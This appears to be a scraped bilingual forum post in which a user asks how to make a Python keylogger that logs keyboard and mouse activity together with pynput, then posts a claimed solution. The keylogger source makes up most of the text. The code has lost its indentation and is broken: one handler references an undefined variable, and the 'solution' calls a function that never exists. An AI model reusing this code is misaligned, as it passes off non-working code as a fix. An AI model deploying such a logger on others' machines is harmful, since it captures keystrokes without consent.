[英]Keylogger With mouse listening
I want to make a keylogger in Python that listens to the keyboard and at the same time listens to the mouse ( simultaneously ), the problem is that no matter what I try to do,separately each of them works well but together it just does not work for me.我想在 Python 中制作一个键盘记录器,它可以监听键盘并同时监听鼠标(同时),问题是无论我尝试做什么,它们中的每一个都可以单独工作,但在一起就不行了为我工作。
This is the code I made for the mouse listener:这是我为鼠标监听器编写的代码:
from pynput.mouse import Listener
from pynput import keyboard
def writetofile(x,y):
with open('keys.txt', 'a') as file:
file.write('position of mouse: {0}\n'.format((x,y)))
def on_click(x, y, button, pressed):
if pressed:
with open('keys.txt', 'a') as file:
file.write('Mouse clicked at ({0}, {1}) with {2}'.format(x, y, button))
def on_scroll(x, y, dx, dy):
with open('keys.txt', 'a') as file:
file.write('Mouse scrolled at ({0}, {1})({2}, {3})'.format(x, y, dx, dy))
with Listener(on_move=writetofile,on_click=on_click, on_scroll=on_scroll) as file:
file.join()
And this is my keyboard listener:这是我的键盘监听器:
def write_keys_to_file(keys):
with open('keys.txt', 'a') as file:
key = str(key).replace("'", "")
file.write(key)
with Listener(on_press = write_keys_to_file) as listener:
listener.join()
Would appreciate help.将不胜感激帮助。 Thanks in advance.提前致谢。
I found the solution to my problem,had to do it this way:我找到了解决问题的方法,必须这样做:
from pynput.keyboard import Listener as KeyboardListener
from pynput.mouse import Listener as MouseListener
def writetofile(x,y):
with open('keys.txt', 'a') as file:
file.write('position of mouse: {0}\n'.format((x,y)))
def on_click(x, y, button, pressed):
if pressed:
with open('keys.txt', 'a') as file:
file.write('Mouse clicked at ({0}, {1}) with {2}'.format(x, y, button))
def on_scroll(x, y, dx, dy):
with open('keys.txt', 'a') as file:
file.write('Mouse scrolled at ({0}, {1})({2}, {3})'.format(x, y, dx, dy))
def write_keys_to_file(keys):
with open('keys.txt', 'a') as file:
key = str(key).replace("'", "")
file.write(key)
with MouseListener(on_move = writetofile,on_click=on_click, on_scroll=on_scroll) as listener:
with KeyboardListener(on_press=on_press) as listener:
listener.join()
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.